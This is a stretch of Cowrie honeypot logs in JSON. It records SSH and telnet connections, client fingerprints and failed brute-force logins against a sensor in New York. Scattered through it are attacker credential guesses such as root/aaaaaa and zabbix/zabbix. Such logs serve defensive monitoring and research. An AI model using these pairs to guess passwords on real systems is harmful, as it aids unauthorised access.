{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:04.126921Z","src_ip":"45.153.34.195","session":"5807860fd1c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:04.470777Z","src_ip":"45.153.34.195","session":"5807860fd1c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rodrigo","message":"login attempt [admin/rodrigo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:05.672841Z","src_ip":"91.92.40.36","session":"5ea2c4e5c8e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:05.715259Z","src_ip":"45.153.34.195","session":"5807860fd1c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:06.314670Z","src_ip":"91.92.40.36","session":"62df8429b3ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54558,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ee535ac8330","protocol":"ssh","message":"New connection: 45.153.34.195:54558 (10.17.0.5:22) [session: 4ee535ac8330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:06.827642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:06.837545Z","src_ip":"45.153.34.195","session":"4ee535ac8330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:07.107583Z","src_ip":"45.153.34.195","session":"4ee535ac8330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15176,"dst_ip":"159.203.135.109","dst_port":22,"session":"13b3987c7815","protocol":"ssh","message":"New connection: 91.92.40.36:15176 (159.203.135.109:22) [session: 13b3987c7815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:07.337586Z"}
{"eventid":"cowrie.login.failed","username":"intranet","password":"intranet","message":"login attempt [intranet/intranet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:07.449923Z","src_ip":"45.153.34.195","session":"4ee535ac8330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"1","message":"login attempt [test1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:08.092899Z","src_ip":"91.92.40.36","session":"ba70e2a8df9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:08.635802Z","src_ip":"45.153.34.195","session":"4ee535ac8330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54570,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa1bf7d715be","protocol":"ssh","message":"New connection: 45.153.34.195:54570 (10.17.0.5:22) [session: fa1bf7d715be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:09.732280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:09.739000Z","src_ip":"45.153.34.195","session":"fa1bf7d715be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:09.922906Z","src_ip":"45.153.34.195","session":"fa1bf7d715be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaa","message":"login attempt [root/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:10.264280Z","src_ip":"45.153.34.195","session":"fa1bf7d715be","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:10.820387Z","src_ip":"91.92.40.36","session":"13b3987c7815","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:10.823859Z","src_ip":"91.92.40.36","session":"13b3987c7815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.3","message":"Connection lost after 28.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:11.178941Z","src_ip":"91.92.40.36","session":"5ea2c4e5c8e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:11.348304Z","src_ip":"45.153.34.195","session":"fa1bf7d715be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40104,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef60f9ca0615","protocol":"ssh","message":"New connection: 45.153.34.195:40104 (10.17.0.5:22) [session: ef60f9ca0615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:12.833897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:12.839404Z","src_ip":"45.153.34.195","session":"ef60f9ca0615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:12.951964Z","src_ip":"45.153.34.195","session":"ef60f9ca0615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61826,"dst_ip":"159.203.135.109","dst_port":22,"session":"18aeb28da1f6","protocol":"ssh","message":"New connection: 91.92.40.36:61826 (159.203.135.109:22) [session: 18aeb28da1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:12.960068Z"}
{"eventid":"cowrie.session.closed","duration":"23.4","message":"Connection lost after 23.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:13.168061Z","src_ip":"91.92.40.36","session":"ba70e2a8df9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123","message":"login attempt [user/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:13.238603Z","src_ip":"45.153.34.195","session":"ef60f9ca0615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessica","password":"jessica","message":"login attempt [jessica/jessica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:14.170882Z","src_ip":"91.92.40.36","session":"136dce4153bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:14.322090Z","src_ip":"45.153.34.195","session":"ef60f9ca0615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40126,"dst_ip":"159.203.135.109","dst_port":23,"session":"3575fae1916d","protocol":"telnet","message":"New connection: 128.199.8.54:40126 (159.203.135.109:23) [session: 3575fae1916d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:15.054826Z"}
{"eventid":"cowrie.session.closed","duration":"39.1","message":"Connection lost after 39.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:15.826046Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40124,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c105a8ada9","protocol":"ssh","message":"New connection: 45.153.34.195:40124 (10.17.0.5:22) [session: c4c105a8ada9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:15.855910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:15.861250Z","src_ip":"45.153.34.195","session":"c4c105a8ada9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:15.945963Z","src_ip":"45.153.34.195","session":"c4c105a8ada9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"sammy","message":"login attempt [sammy/sammy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:16.204800Z","src_ip":"45.153.34.195","session":"c4c105a8ada9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38786,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2852b20fd7","protocol":"ssh","message":"New connection: 91.92.40.36:38786 (159.203.135.109:22) [session: 2f2852b20fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:16.366588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:16.376531Z","src_ip":"91.92.40.36","session":"18aeb28da1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:16.383593Z","src_ip":"91.92.40.36","session":"18aeb28da1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:17.288301Z","src_ip":"45.153.34.195","session":"c4c105a8ada9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40148,"dst_ip":"10.17.0.5","dst_port":22,"session":"1edc683521fa","protocol":"ssh","message":"New connection: 45.153.34.195:40148 (10.17.0.5:22) [session: 1edc683521fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:18.761038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:18.769964Z","src_ip":"45.153.34.195","session":"1edc683521fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:18.852869Z","src_ip":"45.153.34.195","session":"1edc683521fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:19.118976Z","src_ip":"45.153.34.195","session":"1edc683521fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.4","message":"Connection lost after 23.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:19.400262Z","src_ip":"91.92.40.36","session":"136dce4153bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bigcat","message":"login attempt [user/bigcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:19.510703Z","src_ip":"91.92.40.36","session":"6cc7acb22ae2","protocol":"ssh"}
